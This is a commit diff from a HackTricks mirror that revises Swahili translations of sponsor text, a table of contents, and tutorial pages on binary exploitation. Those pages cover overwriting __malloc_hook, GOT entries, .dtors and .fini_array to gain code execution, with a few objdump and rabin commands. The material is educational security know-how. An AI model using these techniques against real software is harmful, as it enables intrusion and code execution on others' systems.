2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-19 23:48:31 +00:00

Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2

This commit is contained in:
Translator 2024-04-07 03:54:31 +00:00
parent 23a4d11686
commit 135fceaf72
46 changed files with 1086 additions and 718 deletions

View file

@ -42,7 +42,7 @@ Unaweza kuangalia **blogi** yao kwenye [**https://blog.stmcyber.com**](https://b
<figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
**Intigriti** ni jukwaa la kwanza la kudukua kwa maadili barani Ulaya na **bug bounty**.
**Intigriti** ni jukwaa la kwanza la kudukua kimaadili barani Ulaya na **bug bounty**.
**Mbinu ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty** la malipo ya juu lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
@ -70,23 +70,23 @@ Pata Ufikiaji Leo:
Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za bug!
**Machapisho ya Kudukua**\
Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kudukua
Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kudukua
**Habari za Kudukua za Wakati Halisi**\
Kaa sasa na ulimwengu wa kudukua unaobadilika haraka kupitia habari na ufahamu wa wakati halisi
Kaa sasa na ulimwengu wa kudukua wenye kasi kupitia habari na ufahamu wa wakati halisi
**Matangazo Mapya**\
Baki mwelekezi na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa
Baki na taarifa za hivi punde kuhusu bug mpya zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Jukwaa muhimu la upimaji wa kuingilia
### [Pentest-Tools.com](https://pentest-tools.com/) - Jukwaa muhimu la zana za upimaji wa kuingilia
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Usanidi wa papo hapo kwa tathmini ya udhaifu & upimaji wa kuingilia**. Tekeleza upimaji kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa kuingilia - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kwa kina, kuvunja makompyuta, na kufurahi.
**Usanidi wa papo hapo kwa tathmini ya udhaifu & upimaji wa kuingilia**. Tekeleza upimaji kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa kuingilia - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kina, kuvunja makompyuta, na kufurahi.
{% embed url="https://pentest-tools.com/" %}
@ -96,11 +96,11 @@ Baki mwelekezi na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
SerpApi inatoa APIs za haraka na rahisi za wakati halisi za **kufikia matokeo ya injini za utaftaji**. Wanachimba injini za utaftaji, kushughulikia proksi, kutatua captchas, na kuchambua data iliyopangwa kwa utajiri kwa niaba yako.
SerpApi inatoa APIs za haraka na rahisi za wakati halisi za **kufikia matokeo ya injini za utaftaji**. Wanachimba injini za utaftaji, kushughulikia proksi, kutatua captchas, na kuchambua data iliyopangwa kwa utajiri kwako.
Usajili kwa moja ya mipango ya SerpApi ni pamoja na ufikiaji wa APIs zaidi ya 50 tofauti za kuchimba injini za utaftaji, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zingine.
Usajili kwa moja ya mipango ya SerpApi ni pamoja na ufikiaji wa zaidi ya APIs 50 tofauti za kuchimba injini za utaftaji, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zingine.
Tofauti na watoa huduma wengine, majibu ya SerpApi daima yanajumuisha matangazo yote, picha na video za ndani, grafu za maarifa, na vipengele vingine vilivyopo kwenye matokeo ya utaftaji.
Tofauti na watoa huduma wengine, majibu ya SerpApi mara kwa mara yanajumuisha matangazo yote, picha na video za ndani, grafu za maarifa, na vipengele vingine vilivyopo kwenye matokeo ya utaftaji.
Wateja wa sasa wa SerpApi ni pamoja na Apple, Shopify, na GrubHub.
@ -124,16 +124,16 @@ Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign\_up
[**WebSec**](https://websec.nl) ni kampuni ya usalama wa mtandao ya kitaalamu iliyoanzishwa huko **Amsterdam** ambayo husaidia kulinda biashara **ulimwenguni kote** dhidi ya vitisho vya usalama wa mtandao vya hivi karibuni kwa kutoa huduma za **usalama wa kuingilia** kwa njia **ya kisasa**.
WebSec ni kampuni ya usalama ya kila kitu; Upimaji wa Kuingilia, Ukaguzi wa Usalama, Mafunzo ya Uelewa, Kampeni za Udukuzi, Ukaguzi wa Kanuni, Maendeleo ya Udukuzi, Kutoa Wataalamu wa Usalama na mengi zaidi.
WebSec ni kampuni ya usalama ya kila kitu ambayo inamaanisha wanafanya yote; Upimaji wa Kuingilia, Ukaguzi wa Usalama, Mafunzo ya Uelewa, Kampeni za Udukuzi, Ukaguzi wa Kanuni, Maendeleo ya Udukuzi, Kutoa Wataalamu wa Usalama na mengi zaidi.
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia, WebSec ni **imara sana katika ujuzi wao**, kwa kiwango ambacho **wanahakikisha matokeo bora zaidi**, inasemwa kwenye tovuti yao "**Ikiwa hatuwezi kudukua, Hulipi!**". Kwa maelezo zaidi angalia [**tovuti**](https://websec.nl/en/) na [**blogi**](https://websec.nl/blog/) yao!
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia, WebSec wana **imani kubwa katika ujuzi wao**, kwa kiwango ambacho wanahakikisha matokeo bora zaidi, inasemwa kwenye tovuti yao "**Ikiwa hatuwezi kudukua, Hulipi!**". Kwa maelezo zaidi angalia [**tovuti**](https://websec.nl/en/) na [**blogi**](https://websec.nl/blog/) yao!
Pamoja na hayo, WebSec pia ni **msaidizi aliyejitolea wa HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Leseni & Disclaimer
**Angalia hizi:**
Angalia hapa:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -145,7 +145,7 @@ Pamoja na hayo, WebSec pia ni **msaidizi aliyejitolea wa HackTricks.**
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -697,13 +697,14 @@
* [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
* [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
* [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
* [Ret2esp / Ret2reg](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg/README.md)
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg/srop-sigreturn-oriented-programming.md)
* [Ret2esp / Ret2reg](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)
* [Ret2lib](binary-exploitation/rop-return-oriented-programing/ret2lib/README.md)
* [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
* [Array Indexing](binary-exploitation/array-indexing.md)
* [Integer Overflow](binary-exploitation/integer-overflow.md)
* [Format Strings](binary-exploitation/format-strings/README.md)

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## **Malloc Hook**
Kama unavyoweza [Tovuti rasmi ya GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), kipengele **`__malloc_hook`** ni kipande kinachoelekeza kwenye **anwani ya kazi itakayoitwa** wakati wowote `malloc()` inaitwa **iliyohifadhiwa kwenye sehemu ya data ya maktaba ya libc**. Kwa hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
Kama unavyoweza [Tovuti Rasmi ya GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), kipengele cha **`__malloc_hook`** ni kipande kinachoelekeza kwenye **anwani ya kazi itakayoitwa** wakati wowote `malloc()` inaitwa **iliyohifadhiwa kwenye sehemu ya data ya maktaba ya libc**. Kwa hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
Kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inaleta idadi kubwa ya baiti hivyo kufanya `libc` kuita malloc kuwahifadhi kwenye heap.
Kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inaleta idadi kubwa ya baiti hivyo kufanya `libc` kuita malloc kuwahifadhi kwenye rundo.
Maelezo zaidi kuhusu One Gadget katika:
@ -26,20 +26,25 @@ Maelezo zaidi kuhusu One Gadget katika:
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
{% endcontent-ref %}
{% hint style="warning" %}
Tafadhali elewa kwamba vitanzi vime **lemazwa kwa GLIBC >= 2.34**. Kuna njia nyingine za kutumia kwenye toleo za kisasa za GLIBC. Angalia: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% endhint %}
## Marejeo
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -18,15 +18,15 @@ Njia nyingine za kusaidia HackTricks:
### **GOT: Jedwali la Kielekezi cha Kijumla**
**Jedwali la Kielekezi cha Kijumla (GOT)** ni mbinu inayotumiwa katika programu zinazounganishwa kwa njia ya kudumu ili kusimamia **anwani za kazi za nje**. Kwa kuwa **anwani hizi hazijulikani hadi wakati wa uendeshaji** (kutokana na uunganishaji wa kudumu), GOT hutoa njia ya **kusasisha kwa kudumu anwani za alama hizi za nje** mara tu zinapopatikana.
**Jedwali la Kielekezi cha Kijumla (GOT)** ni mbinu inayotumiwa katika programu zinazounganishwa kwa njia ya kudumu kusimamia **anwani za kazi za nje**. Kwa kuwa **anwani hizi hazijulikani hadi wakati wa uendeshaji** (kutokana na uunganishaji wa kudumu), GOT hutoa njia ya **kusasisha kwa kudumu anwani za alama hizi za nje** mara tu zinapopatikana.
Kila kuingia katika GOT inalingana na alama katika maktaba za nje ambazo programu inaweza kuita. Wakati **kazi inaitwa mara ya kwanza, anwani yake halisi inapatikana na kuhifadhiwa katika GOT**. Wito wa baadaye kwa kazi hiyo hutumia anwani iliyohifadhiwa katika GOT, hivyo kuepuka gharama ya kupata tena anwani hiyo.
### **PLT: Jedwali la Uunganishaji wa Taratibu**
**Jedwali la Uunganishaji wa Taratibu (PLT)** hufanya kazi karibu na GOT na hutumika kama trampoline kushughulikia wito kwa kazi za nje. Wakati programu **inaita kazi ya nje kwa mara ya kwanza, udhibiti unapitishwa kwa kuingia katika PLT inayohusiana na kazi hiyo**. Kuingia hii ya PLT inahusika na kuita mchakato wa uunganishaji wa kudumu ili kupata anwani ya kazi ikiwa haijapatikana tayari. Baada ya anwani kupatikana, inahifadhiwa katika GOT.
**Jedwali la Uunganishaji wa Taratibu (PLT)** linashirikiana kwa karibu na GOT na hutumika kama trampoline kushughulikia wito kwa kazi za nje. Wakati programu **inaita kazi ya nje kwa mara ya kwanza, udhibiti unapitishwa kwa kuingia katika PLT inayohusiana na kazi hiyo**. Kuingia hii ya PLT inahusika na kuita mchakato wa uunganishaji wa kudumu ili kupata anwani ya kazi ikiwa haijapatikana tayari. Baada ya anwani kupatikana, inahifadhiwa katika **GOT**.
**Hivyo,** kuingia za GOT hutumiwa moja kwa moja mara tu anwani ya kazi au kivinjari cha nje inapopatikana. **Kuingia za PLT hutumiwa kurahisisha upatikanaji wa awali** wa anwani hizi kupitia kwa uunganishaji wa kudumu.
**Hivyo,** kuingia za GOT hutumiwa moja kwa moja mara tu anwani ya kazi au kivinjari cha nje inapopatikana. **Kuingia za PLT hutumiwa kurahisisha upatikanaji wa awali** wa anwani hizi kupitia uunganishaji wa kudumu.
## Pata Utekelezaji
@ -40,13 +40,13 @@ Tazama jinsi baada ya **kupakia** **programu** katika GEF unaweza **kuona** **ka
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Kwa kutumia GEF unaweza **kuanza** kikao cha **kudebugi** na kutekeleza **`got`** kuona jedwali la got:
Kwa kutumia GEF unaweza **kuanza** kikao cha **kutatua hitilafu** na kutekeleza **`got`** kuona jedwali la got:
![](<../../.gitbook/assets/image (493).png>)
### GOT2Exec
Katika programu ya binary, GOT ina **anwani za kazi au** kwa sehemu ya **PLT** ambayo itapakia anwani ya kazi. Lengo la andishi hili la kiholela ni **kubadilisha kuingia cha GOT** cha kazi ambayo itatekelezwa baadaye **na** **anwani** ya PLT ya **kazi ya `system`** kwa mfano.
Katika programu ya binary, GOT ina **anwani za kazi au** kwa sehemu ya **PLT** ambayo itapakia anwani ya kazi. Lengo la andishi hili la kiholela ni **kubadilisha kuingia cha GOT** cha kazi ambayo itatekelezwa baadaye **na** **anwani** ya PLT ya **kazi ya** **`system`** kwa mfano.
Kwa kawaida, uta **badilisha** **GOT** ya **kazi** ambayo **itaitwa na parameta zinazodhibitiwa na wewe** (hivyo utaweza kudhibiti parameta zinazotumwa kwa kazi ya mfumo).
@ -62,7 +62,7 @@ Unaweza kuona anwani za PLT na **`objdump -j .plt -d ./vuln_binary`**
## **Kinga**
Kinga ya **FullRELRO** inalenga kulinda dhidi ya aina hii ya mbinu kwa kusuluhisha anwani zote za kazi wakati programu inapoanza na kufanya **jedwali la GOT liwe la kusoma tu** baada ya hapo:
Kinga ya **Full RELRO** inalenga kulinda dhidi ya aina hii ya mbinu kwa kusuluhisha anwani zote za kazi wakati programu inapoanza na kufanya **jedwali la GOT liwe la kusoma tu** baada ya hapo:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -83,6 +83,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -2,41 +2,41 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## .dtors
{% hint style="danger" %}
Leo ni **kawaida sana kupata binary na sehemu ya .dtors**.
Leo ni **kigeni sana kupata binary na sehemu ya .dtors!**
{% endhint %}
Waharibifu ni kazi ambazo **hutekelezwa kabla ya programu kukamilika** (baada ya kazi ya `main` kurejea).\
Anwani za kazi hizi zimehifadhiwa ndani ya **sehemu ya `.dtors`** ya binary na kwa hivyo, ikiwa utaweza **kuandika** **anwani** ya **shellcode** katika **`__DTOR_END__`**, hiyo itatekelezwa kabla ya programu kukamilika.
Anwani za kazi hizi zimehifadhiwa ndani ya **sehemu ya** **`.dtors`** ya binary na kwa hivyo, ikiwa utafanikiwa **kuandika** **anwani** ya **shellcode** katika **`__DTOR_END__`** , hiyo itatekelezwa kabla ya programu kukamilika.
Pata anwani ya sehemu hii na:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Kawaida utapata alama za **DTOR** **kati** ya thamani `ffffffff` na `00000000`. Kwa hivyo ikiwa unaona thamani hizo tu, inamaanisha kwamba **hakuna kazi iliyosajiliwa**. Kwa hivyo **badilisha** **`00000000`** na **anwani** ya **shellcode** ili kuitekeleza.
Kawaida utapata alama za **DTOR** **kati** ya thamani `ffffffff` na `00000000`. Kwa hivyo ikiwa unaona thamani hizo tu, inamaanisha kwamba **hakuna kazi iliyoandikishwa**. Kwa hivyo **badilisha** **`00000000`** na **anwani** ya **shellcode** ili kuitekeleza.
{% hint style="warning" %}
Kwa hakika, kwanza unahitaji kupata **mahali pa kuhifadhi shellcode** ili baadaye uweze kuita.
Bila shaka, kwanza unahitaji kupata **mahali pa kuhifadhi shellcode** ili baadaye uweze kuita.
{% endhint %}
## **.fini\_array**
Kimsingi hii ni muundo na **kazi ambazo zitaitwa** kabla ya programu kukamilika, kama **`.dtors`**. Hii ni ya kuvutia ikiwa unaweza kuita **shellcode yako kwa kuruka kwenye anwani**, au katika hali ambapo unahitaji kurudi **kwenye `main`** tena ili **kutumia udhaifu mara ya pili**.
Kimsingi hii ni muundo na **kazi ambazo zitaitwa** kabla ya programu kukamilika, kama **`.dtors`**. Hii ni ya kuvutia ikiwa unaweza kuita **shellcode yako kwa kuruka kwenye anwani**, au katika hali ambapo unahitaji kurudi **kwa `main`** tena ili **kutumia mwanya mara ya pili**.
```bash
objdump -s -j .fini_array ./greeting
@ -47,32 +47,32 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
Tafadhali kumbuka kwamba wakati kazi kutoka kwa **`.fini_array`** inatekelezwa inahamia kwa ile inayofuata, hivyo haitatekelezwa mara kadhaa (kuzuia mizunguko ya milele), lakini pia itakupa tu **utekelezaji wa kazi** moja iliyowekwa hapa.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
Tambua kuwa vipengele katika `.fini_array` huitwa kwa **mpangilio wa nyuma**, hivyo labda unataka kuanza kuandika kutoka kwa ile ya mwisho.
#### Mzunguko wa milele
#### Mzunguko wa Milele
Kwa kudanganya **`.fini_array`** ili kupata mzunguko wa milele unaweza [**angalia kilichofanyika hapa**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Ikiwa una angalau vitu 2 katika **`.fini_array`**, unaweza:
Kwa kudanganya **`.fini_array`** ili kupata mzunguko wa milele unaweza [**angalia nini kilifanywa hapa**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Ikiwa una angalau vipengele 2 katika **`.fini_array`**, unaweza:
* Tumia andika yako ya kwanza kuita **kazi ya andika isiyo na mpangilio** tena
* Kisha, hesabu anwani ya kurudi kwenye stakabadilishwa na **`__libc_csu_fini`** (kazi inayoitwa na `.fini_array` zote) na weka huko **anwani ya `__libc_csu_fini`**
* Hii itafanya **`__libc_csu_fini`** kuita yenyewe tena ikitekeleza kazi za **`.fini_array`** tena ambayo itaita kazi ya WWW isiyo na usalama mara 2: moja kwa **andika isiyo na mpangilio** na nyingine kwa kubadilisha tena **anwani ya kurudi ya `__libc_csu_fini`** kwenye stakabadilisha yenyewe tena.
* Tumia andika yako ya kwanza kuita **kazi ya andika ya kupindukia isiyo salama** tena
* Kisha, hesabu anwani ya kurudi kwenye stakabadilishwa na **`__libc_csu_fini`** (kazi inayoitwa na `.fini_array` zote) na weka hapo **anwani ya `__libc_csu_fini`**
* Hii itafanya **`__libc_csu_fini`** kuita yeye mwenyewe tena kutekeleza kazi za **`.fini_array`** tena ambayo itaita kazi ya WWW isiyosalama mara 2: moja kwa **andika ya kupindukia** na nyingine kwa kubadilisha tena **anwani ya kurudi ya `__libc_csu_fini`** kwenye stakabadilishwa ili kuita yenyewe tena.
{% hint style="danger" %}
Tambua kwamba na [**Full Relro**](../common-binary-protections-and-bypasses/relro.md)**,** sehemu ya **`.fini_array`** inafanywa kuwa **soma-tu**.
Tafadhali kumbuka kwamba na [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** sehemu ya **`.fini_array`** inafanywa kuwa **soma-tu**.
{% endhint %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
